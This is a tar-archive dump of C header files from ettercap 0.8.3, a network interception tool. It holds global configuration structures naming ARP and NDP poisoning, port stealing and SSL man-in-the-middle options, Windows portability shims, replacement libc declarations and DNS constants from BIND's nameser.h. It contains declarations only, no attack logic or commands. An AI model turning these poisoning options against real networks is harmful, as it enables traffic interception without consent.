ASN1_MAX_OID_LEN 20 struct asn1_oid { unsigned long oid[ASN1_MAX_OID_LEN]; size_t len; }; EC_API_EXTERN int asn1_get_next(uint8_t *buf, size_t len, struct asn1_hdr *hdr); EC_API_EXTERN int asn1_parse_oid(uint8_t *buf, size_t len, struct asn1_oid *oid); EC_API_EXTERN int asn1_get_oid(uint8_t *buf, size_t len, struct asn1_oid *oid, uint8_t **next); EC_API_EXTERN void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len); EC_API_EXTERN unsigned long asn1_bit_string_to_long(uint8_t *buf, size_t len); #endif /* ETTERCAP_ASN1_H */ /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_globals.h0000644000175000017500000001330013505247364017057 0ustar koeppeakoeppea#ifndef ETTERCAP_GLOBALS_H #define ETTERCAP_GLOBALS_H #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* options form etter.conf */ struct ec_conf { char *file; int ec_uid; int ec_gid; int arp_storm_delay; int arp_poison_smart; int arp_poison_warm_up; int arp_poison_delay; int arp_poison_icmp; int arp_poison_reply; int arp_poison_request; int arp_poison_equal_mac; int dhcp_lease_time; int port_steal_delay; int port_steal_send_delay; #ifdef WITH_IPV6 int ndp_poison_warm_up; int ndp_poison_delay; int ndp_poison_send_delay; int ndp_poison_icmp; int ndp_poison_equal_mac; int icmp6_probe_delay; #endif int connection_timeout; int connection_idle; int connection_buffer; int connect_timeout; int sampling_rate; int close_on_eof; int aggressive_dissectors; int skip_forwarded; int checksum_check; int submit_fingerprint; int checksum_warning; int sniffing_at_startup; int geoip_support_enable; int gtkui_prefer_dark_theme; int store_profiles; struct curses_color colors; char *redir_command_on; char *redir_command_off; #ifdef WITH_IPV6 char *redir6_command_on; char *redir6_command_off; #endif char *remote_browser; char *utf8_encoding; char *geoip_data_file; char *geoip_data_file_v6; }; /* options from getopt */ struct ec_options { char write:1; char read:1; char compress:1; char quiet:1; char superquiet:1; char silent:1; char ip6scan:1; char unoffensive:1; char ssl_mitm:1; char load_hosts:1; char save_hosts:1; char resolve:1; char ext_headers:1; char mitm:1; char only_mitm:1; char remote:1; char gateway:1; char lifaces:1; char broadcast:1; char reversed; char *hostsfile; LIST_HEAD(plugin_list_t, plugin_list) plugins; char *proto; char *netmask; char *address; char *iface; char *iface_bridge; char **secondary; char *pcapfile_in; char *pcapfile_out; char *target1; char *target2; char *script; char *ssl_cert; char *ssl_pkey; FILE *msg_fd; int (*format)(const u_char *, size_t, u_char *); regex_t *regex; }; /* program name and version */ struct program_env { char *name; char *version; char *debug_file; }; /* global pcap structure */ struct pcap_env { pcap_if_t *ifs; u_int8 align; /* alignment needed on sparc 4*n - sizeof(media_hdr) */ char promisc; char *filter; /* pcap filter */ int snaplen; int dlt; pcap_dumper_t *dump; u_int32 dump_size; /* total dump size */ u_int32 dump_off; /* current offset */ }; /* lnet structure */ struct lnet_env { libnet_t *lnet_IP4; libnet_t *lnet_IP6; }; /* ip list per target */ struct ip_list { struct ip_addr ip; LIST_ENTRY(ip_list) next; }; /* scanned hosts list */ struct hosts_list { struct ip_addr ip; u_int8 mac[MEDIA_ADDR_LEN]; char *hostname; LIST_ENTRY(hosts_list) next; }; /* target specifications */ struct target_env { char scan_all:1; char all_mac:1; /* these one bit flags are used as wildcards */ char all_ip:1; char all_ip6:1; char all_port:1; char *proto; u_char mac[MEDIA_ADDR_LEN]; LIST_HEAD(, ip_list) ips; LIST_HEAD(, ip_list) ip6; u_int8 ports[1<<13]; /* in 8192 byte we have 65535 bits, use one bit per port */ }; /* wifi network structure */ struct wifi_env { char wireless; /* if the send interface is wireless */ u_char wifi_schema; #define WIFI_WEP 0x01 #define WIFI_WPA 0x02 char *wifi_key; /* user specified wifi_key */ u_char wkey[MAX_WKEY_LEN]; /* encoded wifi key, large enough for all encryption schemas */ size_t wkey_len; }; /* the globals container */ struct ec_globals { struct ec_conf *conf; struct ec_options *options; struct gbl_stats *stats; struct ui_ops *ui; struct program_env *env; struct pcap_env *pcap; struct lnet_env *lnet; struct iface_env *iface; struct iface_env *bridge; struct sniffing_method *sm; struct target_env *t1; struct target_env *t2; struct wifi_env *wifi; LIST_HEAD(, hosts_list) hosts_list; TAILQ_HEAD(gbl_ptail, host_profile) profiles_list_head; struct filter_list *filters; }; EC_API_EXTERN struct ec_globals *ec_gbls; #define EC_GBLS ec_gbls #define EC_GBL_CONF (EC_GBLS->conf) #define EC_GBL_OPTIONS (EC_GBLS->options) #define EC_GBL_STATS (EC_GBLS->stats) #define EC_GBL_UI (EC_GBLS->ui) #define EC_GBL_ENV (EC_GBLS->env) #define EC_GBL_PCAP (EC_GBLS->pcap) #define EC_GBL_LNET (EC_GBLS->lnet) #define EC_GBL_IFACE (EC_GBLS->iface) #define EC_GBL_BRIDGE (EC_GBLS->bridge) #define EC_GBL_SNIFF (EC_GBLS->sm) #define EC_GBL_TARGET1 (EC_GBLS->t1) #define EC_GBL_TARGET2 (EC_GBLS->t2) #define EC_GBL_WIFI (EC_GBLS->wifi) #define EC_GBL_HOSTLIST (EC_GBLS->hosts_list) #define EC_GBL_PROFILES (EC_GBLS->profiles_list_head) #define EC_GBL_FILTERS &(EC_GBLS->filters) #define EC_GBL_FORMAT (EC_GBL_OPTIONS->format) #define EC_GBL_PROGRAM (EC_GBL_ENV->name) #define EC_GBL_VERSION (EC_GBL_ENV->version) #define EC_GBL_DEBUG_FILE (EC_GBL_ENV->debug_file) /* exported functions */ EC_API_EXTERN void ec_globals_alloc(void); EC_API_EXTERN void ec_globals_free(void); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_os_mingw.h0000644000175000017500000001460113505247364017263 0ustar koeppeakoeppea#ifndef ETTERCAP_OS_MINGW_H #define ETTERCAP_OS_MINGW_H /* This file is *not* MingW specific, but Ettercap requires gcc. * So that leaves other Win32 compilers out. */ #include /* for alloca() */ #include /* u_char etc. */ #if !defined(HAVE_GETUID) #define getuid() (0) #endif #if !defined(HAVE_GETGID) #define getgid() (0) #endif #if !defined(HAVE_GETEUID) #define geteuid() (0) #endif #if !defined(HAVE_GETEUID) #define getegid() (0) #endif #if !defined(HAVE_SETUID) #define setuid(x) (0) #endif #if !defined(HAVE_SETGID) #define setgid(x) (0) #endif #if !defined(HAVE_RANDOM) #define random() rand() #endif #if !defined(HAVE_SRANDOM) #define srandom(s) srand(s) #endif #if !defined(_TIMEVAL_DEFINED) && !defined(HAVE_STRUCT_TIMEVAL) #define _TIMEVAL_DEFINED struct timeval { long tv_sec; long tv_usec; }; #endif #if !defined(HAVE_STRUCT_TIMEZONE) #define HAVE_STRUCT_TIMEZONE struct timezone { int tz_minuteswest; /* minutes west of Greenwich */ int tz_dsttime; /* type of dst correction */ }; #endif #undef _U_ #if defined(__GNUC__) #define _U_ __attribute__((unused)) #else #define _U_ #endif #ifndef EINPROGRESS #define EINPROGRESS WSAEINPROGRESS #endif #ifndef EALREADY #define EALREADY WSAEALREADY #endif #ifndef EWOULDBLOCK #define EWOULDBLOCK WSAEWOULDBLOCK #endif #ifndef EISCONN #define EISCONN WSAEISCONN #endif /* Only used in socket code */ #undef EINTR #define EINTR WSAEINTR #undef EAGAIN #define EAGAIN WSAEWOULDBLOCK #define gettimeofday(tv,tz) ec_win_gettimeofday (tv, tz) #define strsignal(signo) ec_win_strsignal (signo) #define poll(p,n,t) ec_win_poll (p,n,t) #define dn_expand(m,e,c,ex,l) ec_win_dn_expand (m, e, c, ex, l) #define dn_comp(e,c,l,d,ld) ec_win_dn_comp(e,c,l,d,ld) EC_API_EXTERN int ec_win_dn_expand (const u_char *msg, const u_char *eom_orig, const u_char *comp_dn, char *exp_dn, int length); EC_API_EXTERN int ec_win_dn_comp (const char *exp_dn, u_char *comp_dn, int length, u_char **dnptrs, u_char **lastdnptr); EC_API_EXTERN int ec_win_gettimeofday (struct timeval *tv, struct timezone *tz); EC_API_EXTERN const char *ec_win_strsignal (int signo); /* poll() emulation */ #define POLLIN 0x0001 #define POLLPRI 0x0002 /* not used */ #define POLLOUT 0x0004 #define POLLERR 0x0008 #define POLLHUP 0x0010 /* not used */ #define POLLNVAL 0x0020 /* not used */ struct pollfd { int fd; int events; /* in param: what to poll for */ int revents; /* out param: what events occured */ }; #undef HAVE_POLL #define HAVE_POLL 1 EC_API_EXTERN int ec_win_poll (struct pollfd *p, int num, int timeout); /* User/program dir */ EC_API_EXTERN const char *ec_win_get_user_dir (void); EC_API_EXTERN const char *ec_win_get_ec_dir (void); /* This is a stupid hack. How can we on compile time know the install location on a * non-Unix system? */ #ifndef INSTALL_PREFIX #define INSTALL_PREFIX ec_win_get_ec_dir() #endif #ifndef INSTALL_EXECPREFIX #define INSTALL_EXECPREFIX ec_win_get_ec_dir() #endif #ifndef INSTALL_SYSCONFDIR #define INSTALL_SYSCONFDIR ec_win_get_ec_dir() #endif #ifndef INSTALL_BINDIR #define INSTALL_BINDIR ec_win_get_ec_dir() #endif #ifndef INSTALL_LIBDIR #define INSTALL_LIBDIR "/lib" /* this cannot be a function (sigh) */ #endif #ifndef INSTALL_DATADIR #define INSTALL_DATADIR "/share" /* this cannot be a function (sigh) */ #endif /* dlopen() emulation (not exported) */ #if !defined(HAVE_DLOPEN) #define RTLD_NOW 0 /* No importance */ #define RTLD_LOCAL 0 /* No importance */ #define RTLD_NOW 0 #define PLUGIN_EXT "*.dll" #define dlopen(dll,flg) ec_win_dlopen (dll, flg) #define lt_dlopen(dll) ec_win_dlopen (dll, 0) #define lt_dlopenext(dll) ec_win_dlopen (dll, 0) #define dlsym(hnd,func) ec_win_dlsym (hnd, func) #define lt_dlsym(hnd,func) ec_win_dlsym (hnd, func) #define dlclose(hnd) ec_win_dlclose (hnd) #define lt_dlclose(hnd) ec_win_dlclose (hnd) #define dlerror() ec_win_dlerror() #define lt_dlerror() ec_win_dlerror() #define lt_dlinit() (0) #define lt_dlexit() (0) EC_API_EXTERN void *ec_win_dlopen (const char *dll_name, int flags _U_); EC_API_EXTERN void *ec_win_dlsym (const void *dll_handle, const char *func_name); EC_API_EXTERN void ec_win_dlclose (const void *dll_handle); EC_API_EXTERN const char *ec_win_dlerror (void); #endif /* * Unix process emulation */ #if !defined(HAVE_FORK) #define fork() ec_win_fork() EC_API_EXTERN int ec_win_fork(void); #endif #if !defined(HAVE_WAIT) #define wait(st) ec_win_wait(st) #define WEXITSTATUS(w) 1 #define WIFEXITED(w) 1 EC_API_EXTERN int ec_win_wait (int *status); #endif /* Missing stuff for ec_resolv.h / ec_win_dnexpand() */ #ifndef INT16SZ #define INT16SZ 2 #endif #ifndef INT32SZ #define INT32SZ 4 #endif #undef GETSHORT #define GETSHORT(s, cp) do { \ register u_char *t_cp = (u_char *)(cp); \ (s) = ((u_short)t_cp[0] << 8) \ | ((u_short)t_cp[1]); \ (cp) += INT16SZ; \ } while (0) #undef GETLONG #define GETLONG(l, cp) do { \ register u_char *t_cp = (u_char *)(cp); \ (l) = ((u_long)t_cp[0] << 24) \ | ((u_long)t_cp[1] << 16) \ | ((u_long)t_cp[2] << 8) \ | ((u_long)t_cp[3]); \ (cp) += INT32SZ; \ } while (0) #undef PUTSHORT #define PUTSHORT(s, cp) do { \ register u_short t_s = (u_short)(s); \ register u_char *t_cp = (u_char *)(cp); \ *t_cp++ = t_s >> 8; \ *t_cp = t_s; \ (cp) += INT16SZ; \ } while (0) #undef PUTLONG #define PUTLONG(l, cp) do { \ register u_long t_l = (u_long)(l); \ register u_char *t_cp = (u_char *)(cp); \ *t_cp++ = t_l >> 24; \ *t_cp++ = t_l >> 16; \ *t_cp++ = t_l >> 8; \ *t_cp = t_l; \ (cp) += INT32SZ; \ } while (0) /* * Misc. stuff */ #define strerror ec_win_strerror EC_API_EXTERN char *ec_win_strerror(int err); EC_API_EXTERN int ec_win_pcap_stop(const void *pcap_handle); #endif /* EC_WIN_MISC_H */ ettercap-0.8.3/include/missing/0000755000175000017500000000000013505247364016270 5ustar koeppeakoeppeaettercap-0.8.3/include/missing/strndup.h0000644000175000017500000000200413505247364020134 0ustar koeppeakoeppea/* Implement the strndup function. Copyright (C) 2005 Free Software Foundation, Inc. Written by Kaveh R. Ghazi . This file is part of the libiberty library. Libiberty is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. Libiberty is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with libiberty; see the file COPYING.LIB. If not, write to the Free Software Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA. */ #include #include #include char * strndup (const char *s, size_t n); /* EOF */ ettercap-0.8.3/include/missing/strlcat.h0000644000175000017500000000011313505247364020110 0ustar koeppeakoeppea extern size_t strlcat(char *dst, const char *src, size_t siz); /* EOF */ ettercap-0.8.3/include/missing/memrchr.h0000644000175000017500000000022113505247364020071 0ustar koeppeakoeppea#ifndef EC_API_EXTERN #error Move this header somewhere else #endif EC_API_EXTERN void *memrchr(const void *s, u_char c, size_t n); /* EOF */ ettercap-0.8.3/include/missing/strcasestr.h0000644000175000017500000000023413505247364020635 0ustar koeppeakoeppea#ifndef EC_API_EXTERN #error Move this header somewhere else #endif EC_API_EXTERN char * strcasestr(const char *hailstack, const char *needle); /* EOF */ ettercap-0.8.3/include/missing/scandir.h0000644000175000017500000000045013505247364020063 0ustar koeppeakoeppea #include extern int scandir(const char *dir, struct dirent ***namelist, int (*select)(const struct dirent *), int (*compar)(const struct dirent **, const struct dirent **)); extern int alphasort(const struct dirent **a, const struct dirent **b); /* EOF */ ettercap-0.8.3/include/missing/getopt.h0000644000175000017500000001440013505247364017742 0ustar koeppeakoeppea/* Declarations for getopt. Copyright (C) 1989,90,91,92,93,94,96,97,98,99 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _GETOPT_H #ifndef __need_getopt # define _GETOPT_H 1 #endif /* If __GNU_LIBRARY__ is not already defined, either we are being used standalone, or this is the first header included in the source file. If we are being used with glibc, we need to include , but that does not exist if we are standalone. So: if __GNU_LIBRARY__ is not defined, include , which will pull in for us if it's from glibc. (Why ctype.h? It's guaranteed to exist and it doesn't flood the namespace with stuff the way some other headers do.) */ #if !defined __GNU_LIBRARY__ # include #endif #ifdef __cplusplus extern "C" { #endif /* For communication from `getopt' to the caller. When `getopt' finds an option that takes an argument, the argument value is returned here. Also, when `ordering' is RETURN_IN_ORDER, each non-option ARGV-element is returned here. */ extern char *optarg; /* Index in ARGV of the next element to be scanned. This is used for communication to and from the caller and for communication between successive calls to `getopt'. On entry to `getopt', zero means this is the first call; initialize. When `getopt' returns -1, this is the index of the first of the non-option elements that the caller should itself scan. Otherwise, `optind' communicates from one call to the next how much of ARGV has been scanned so far. */ extern int optind; /* Callers store zero here to inhibit the error message `getopt' prints for unrecognized options. */ extern int opterr; /* Set to an option character which was unrecognized. */ extern int optopt; #ifndef __need_getopt /* Describe the long-named options requested by the application. The LONG_OPTIONS argument to getopt_long or getopt_long_only is a vector of `struct option' terminated by an element containing a name which is zero. The field `has_arg' is: no_argument (or 0) if the option does not take an argument, required_argument (or 1) if the option requires an argument, optional_argument (or 2) if the option takes an optional argument. If the field `flag' is not NULL, it points to a variable that is set to the value given in the field `val' when the option is found, but left unchanged if the option is not found. To have a long-named option do something other than set an `int' to a compiled-in constant, such as set a value from `optarg', set the option's `flag' field to zero and its `val' field to a nonzero value (the equivalent single-letter option character, if there is one). For long options that have a zero `flag' field, `getopt' returns the contents of the `val' field. */ struct option { # if defined __STDC__ && __STDC__ const char *name; # else char *name; # endif /* has_arg can't be an enum because some compilers complain about type mismatches in all the code that assumes it is an int. */ int has_arg; int *flag; int val; }; /* Names for the values of the `has_arg' field of `struct option'. */ # define no_argument 0 # define required_argument 1 # define optional_argument 2 #endif /* need getopt */ /* Get definitions and prototypes for functions to process the arguments in ARGV (ARGC of them, minus the program name) for options given in OPTS. Return the option character from OPTS just read. Return -1 when there are no more options. For unrecognized options, or options missing arguments, `optopt' is set to the option letter, and '?' is returned. The OPTS string is a list of characters which are recognized option letters, optionally followed by colons, specifying that that letter takes an argument, to be placed in `optarg'. If a letter in OPTS is followed by two colons, its argument is optional. This behavior is specific to the GNU `getopt'. The argument `--' causes premature termination of argument scanning, explicitly telling `getopt' that there are no more options. If OPTS begins with `--', then non-option arguments are treated as arguments to the option '\0'. This behavior is specific to the GNU `getopt'. */ #if defined __STDC__ && __STDC__ # ifdef __GNU_LIBRARY__ /* Many other libraries have conflicting prototypes for getopt, with differences in the consts, in stdlib.h. To avoid compilation errors, only prototype getopt for the GNU C library. */ extern int getopt (int __argc, char *const *__argv, const char *__shortopts); # else /* not __GNU_LIBRARY__ */ extern int getopt (); # endif /* __GNU_LIBRARY__ */ # ifndef __need_getopt extern int getopt_long (int __argc, char *const *__argv, const char *__shortopts, const struct option *__longopts, int *__longind); extern int getopt_long_only (int __argc, char *const *__argv, const char *__shortopts, const struct option *__longopts, int *__longind); /* Internal only. Users should not call this directly. */ extern int _getopt_internal (int __argc, char *const *__argv, const char *__shortopts, const struct option *__longopts, int *__longind, int __long_only); # endif #else /* not __STDC__ */ extern int getopt (); # ifndef __need_getopt extern int getopt_long (); extern int getopt_long_only (); extern int _getopt_internal (); # endif #endif /* __STDC__ */ #ifdef __cplusplus } #endif /* Make sure we later can get all the definitions and declarations. */ #undef __need_getopt #endif /* getopt.h */ ettercap-0.8.3/include/missing/termios_mingw.h0000644000175000017500000000056113505247364021326 0ustar koeppeakoeppea#if !defined(FAKE_TERMIOS_FOR_WINDOWS_H) && defined(_WIN32) #define FAKE_TERMIOS_FOR_WINDOWS_H #define ECHO 0x01 #define VTIME 0x00 #define ICANON 0x01 #define TCSANOW 0x02 #define NCCS 12 struct termios { unsigned c_lflag; unsigned c_cc [NCCS]; }; #define tcgetattr(x,y) ((void)0) #define tcsetattr(x,y,z) ((void)0) #endif ettercap-0.8.3/include/missing/basename.h0000644000175000017500000000020713505247364020213 0ustar koeppeakoeppea#ifndef EC_API_EXTERN #error Move this header somewhere else #endif EC_API_EXTERN char * basename (const char *filename); /* EOF */ ettercap-0.8.3/include/missing/memmem.h0000644000175000017500000000032213505247364017713 0ustar koeppeakoeppea#ifndef EC_API_EXTERN #error Move this header somewhere else #endif EC_API_EXTERN void * memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen); /* EOF */ ettercap-0.8.3/include/missing/nameser.h0000644000175000017500000005003113505247364020072 0ustar koeppeakoeppea/* * Copyright (c) 1983, 1989, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /* * Copyright (c) 2004 by Internet Systems Consortium, Inc. ("ISC") * Copyright (c) 1996-1999 by Internet Software Consortium. * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS * SOFTWARE. */ /* * $BINDId: nameser.h,v 8.37 2000/03/30 21:16:49 vixie Exp $ */ #ifndef _ARPA_NAMESER_H_ #define _ARPA_NAMESER_H_ /*! \file */ #define BIND_4_COMPAT #include #if (!defined(BSD)) || (BSD < 199306) # include #else # include #endif #include /*% * Revision information. This is the release date in YYYYMMDD format. * It can change every day so the right thing to do with it is use it * in preprocessor commands such as "#if (__NAMESER > 19931104)". Do not * compare for equality; rather, use it to determine whether your libbind.a * contains a new enough lib/nameser/ to support the feature you need. */ #define __NAMESER 19991006 /*%< New interface version stamp. */ /* * Define constants based on RFC 883, RFC 1034, RFC 1035 */ #define NS_PACKETSZ 512 /*%< default UDP packet size */ #define NS_MAXDNAME 1025 /*%< maximum domain name */ #define NS_MAXMSG 65535 /*%< maximum message size */ #define NS_MAXCDNAME 255 /*%< maximum compressed domain name */ #define NS_MAXLABEL 63 /*%< maximum length of domain label */ #define NS_HFIXEDSZ 12 /*%< #/bytes of fixed data in header */ #define NS_QFIXEDSZ 4 /*%< #/bytes of fixed data in query */ #define NS_RRFIXEDSZ 10 /*%< #/bytes of fixed data in r record */ #define NS_INT32SZ 4 /*%< #/bytes of data in a u_int32_t */ #define NS_INT16SZ 2 /*%< #/bytes of data in a u_int16_t */ #define NS_INT8SZ 1 /*%< #/bytes of data in a u_int8_t */ #define NS_INADDRSZ 4 /*%< IPv4 T_A */ #define NS_IN6ADDRSZ 16 /*%< IPv6 T_AAAA */ #define NS_CMPRSFLGS 0xc0 /*%< Flag bits indicating name compression. */ #define NS_DEFAULTPORT 53 /*%< For both TCP and UDP. */ /* * These can be expanded with synonyms, just keep ns_parse.c:ns_parserecord() * in synch with it. */ typedef enum __ns_sect { ns_s_qd = 0, /*%< Query: Question. */ ns_s_zn = 0, /*%< Update: Zone. */ ns_s_an = 1, /*%< Query: Answer. */ ns_s_pr = 1, /*%< Update: Prerequisites. */ ns_s_ns = 2, /*%< Query: Name servers. */ ns_s_ud = 2, /*%< Update: Update. */ ns_s_ar = 3, /*%< Query|Update: Additional records. */ ns_s_max = 4 } ns_sect; /*% * This is a message handle. It is caller allocated and has no dynamic data. * This structure is intended to be opaque to all but ns_parse.c, thus the * leading _'s on the member names. Use the accessor functions, not the _'s. */ typedef struct __ns_msg { const u_char *_msg, *_eom; u_int16_t _id, _flags, _counts[ns_s_max]; const u_char *_sections[ns_s_max]; ns_sect _sect; int _rrnum; const u_char *_msg_ptr; } ns_msg; /* Private data structure - do not use from outside library. */ struct _ns_flagdata { int mask, shift; }; extern const struct _ns_flagdata _ns_flagdata[]; /* Accessor macros - this is part of the public interface. */ #define ns_msg_id(handle) ((handle)._id + 0) #define ns_msg_base(handle) ((handle)._msg + 0) #define ns_msg_end(handle) ((handle)._eom + 0) #define ns_msg_size(handle) ((handle)._eom - (handle)._msg) #define ns_msg_count(handle, section) ((handle)._counts[section] + 0) /*% * This is a parsed record. It is caller allocated and has no dynamic data. */ typedef struct __ns_rr { char name[NS_MAXDNAME]; u_int16_t type; u_int16_t rr_class; u_int32_t ttl; u_int16_t rdlength; const u_char * rdata; } ns_rr; /* Accessor macros - this is part of the public interface. */ #define ns_rr_name(rr) (((rr).name[0] != '\0') ? (rr).name : ".") #define ns_rr_type(rr) ((ns_type)((rr).type + 0)) #define ns_rr_class(rr) ((ns_class)((rr).rr_class + 0)) #define ns_rr_ttl(rr) ((rr).ttl + 0) #define ns_rr_rdlen(rr) ((rr).rdlength + 0) #define ns_rr_rdata(rr) ((rr).rdata + 0) /*% * These don't have to be in the same order as in the packet flags word, * and they can even overlap in some cases, but they will need to be kept * in synch with ns_parse.c:ns_flagdata[]. */ typedef enum __ns_flag { ns_f_qr, /*%< Question/Response. */ ns_f_opcode, /*%< Operation code. */ ns_f_aa, /*%< Authoritative Answer. */ ns_f_tc, /*%< Truncation occurred. */ ns_f_rd, /*%< Recursion Desired. */ ns_f_ra, /*%< Recursion Available. */ ns_f_z, /*%< MBZ. */ ns_f_ad, /*%< Authentic Data (DNSSEC). */ ns_f_cd, /*%< Checking Disabled (DNSSEC). */ ns_f_rcode, /*%< Response code. */ ns_f_max } ns_flag; /*% * Currently defined opcodes. */ typedef enum __ns_opcode { ns_o_query = 0, /*%< Standard query. */ ns_o_iquery = 1, /*%< Inverse query (deprecated/unsupported). */ ns_o_status = 2, /*%< Name server status query (unsupported). */ /* Opcode 3 is undefined/reserved. */ ns_o_notify = 4, /*%< Zone change notification. */ ns_o_update = 5, /*%< Zone update message. */ ns_o_max = 6 } ns_opcode; /*% * Currently defined response codes. */ typedef enum __ns_rcode { ns_r_noerror = 0, /*%< No error occurred. */ ns_r_formerr = 1, /*%< Format error. */ ns_r_servfail = 2, /*%< Server failure. */ ns_r_nxdomain = 3, /*%< Name error. */ ns_r_notimpl = 4, /*%< Unimplemented. */ ns_r_refused = 5, /*%< Operation refused. */ /* these are for BIND_UPDATE */ ns_r_yxdomain = 6, /*%< Name exists */ ns_r_yxrrset = 7, /*%< RRset exists */ ns_r_nxrrset = 8, /*%< RRset does not exist */ ns_r_notauth = 9, /*%< Not authoritative for zone */ ns_r_notzone = 10, /*%< Zone of record different from zone section */ ns_r_max = 11, /* The following are EDNS extended rcodes */ ns_r_badvers = 16, /* The following are TSIG errors */ ns_r_badsig = 16, ns_r_badkey = 17, ns_r_badtime = 18 } ns_rcode; /* BIND_UPDATE */ typedef enum __ns_update_operation { ns_uop_delete = 0, ns_uop_add = 1, ns_uop_max = 2 } ns_update_operation; /*% * This structure is used for TSIG authenticated messages */ struct ns_tsig_key { char name[NS_MAXDNAME], alg[NS_MAXDNAME]; unsigned char *data; int len; }; typedef struct ns_tsig_key ns_tsig_key; /*% * This structure is used for TSIG authenticated TCP messages */ struct ns_tcp_tsig_state { int counter; struct dst_key *key; void *ctx; unsigned char sig[NS_PACKETSZ]; int siglen; }; typedef struct ns_tcp_tsig_state ns_tcp_tsig_state; #define NS_TSIG_FUDGE 300 #define NS_TSIG_TCP_COUNT 100 #define NS_TSIG_ALG_HMAC_MD5 "HMAC-MD5.SIG-ALG.REG.INT" #define NS_TSIG_ERROR_NO_TSIG -10 #define NS_TSIG_ERROR_NO_SPACE -11 #define NS_TSIG_ERROR_FORMERR -12 /*% * Currently defined type values for resources and queries. */ typedef enum __ns_type { ns_t_invalid = 0, /*%< Cookie. */ ns_t_a = 1, /*%< Host address. */ ns_t_ns = 2, /*%< Authoritative server. */ ns_t_md = 3, /*%< Mail destination. */ ns_t_mf = 4, /*%< Mail forwarder. */ ns_t_cname = 5, /*%< Canonical name. */ ns_t_soa = 6, /*%< Start of authority zone. */ ns_t_mb = 7, /*%< Mailbox domain name. */ ns_t_mg = 8, /*%< Mail group member. */ ns_t_mr = 9, /*%< Mail rename name. */ ns_t_null = 10, /*%< Null resource record. */ ns_t_wks = 11, /*%< Well known service. */ ns_t_ptr = 12, /*%< Domain name pointer. */ ns_t_hinfo = 13, /*%< Host information. */ ns_t_minfo = 14, /*%< Mailbox information. */ ns_t_mx = 15, /*%< Mail routing information. */ ns_t_txt = 16, /*%< Text strings. */ ns_t_rp = 17, /*%< Responsible person. */ ns_t_afsdb = 18, /*%< AFS cell database. */ ns_t_x25 = 19, /*%< X_25 calling address. */ ns_t_isdn = 20, /*%< ISDN calling address. */ ns_t_rt = 21, /*%< Router. */ ns_t_nsap = 22, /*%< NSAP address. */ ns_t_nsap_ptr = 23, /*%< Reverse NSAP lookup (deprecated). */ ns_t_sig = 24, /*%< Security signature. */ ns_t_key = 25, /*%< Security key. */ ns_t_px = 26, /*%< X.400 mail mapping. */ ns_t_gpos = 27, /*%< Geographical position (withdrawn). */ ns_t_aaaa = 28, /*%< Ip6 Address. */ ns_t_loc = 29, /*%< Location Information. */ ns_t_nxt = 30, /*%< Next domain (security). */ ns_t_eid = 31, /*%< Endpoint identifier. */ ns_t_nimloc = 32, /*%< Nimrod Locator. */ ns_t_srv = 33, /*%< Server Selection. */ ns_t_atma = 34, /*%< ATM Address */ ns_t_naptr = 35, /*%< Naming Authority PoinTeR */ ns_t_kx = 36, /*%< Key Exchange */ ns_t_cert = 37, /*%< Certification record */ ns_t_a6 = 38, /*%< IPv6 address (deprecated, use ns_t_aaaa) */ 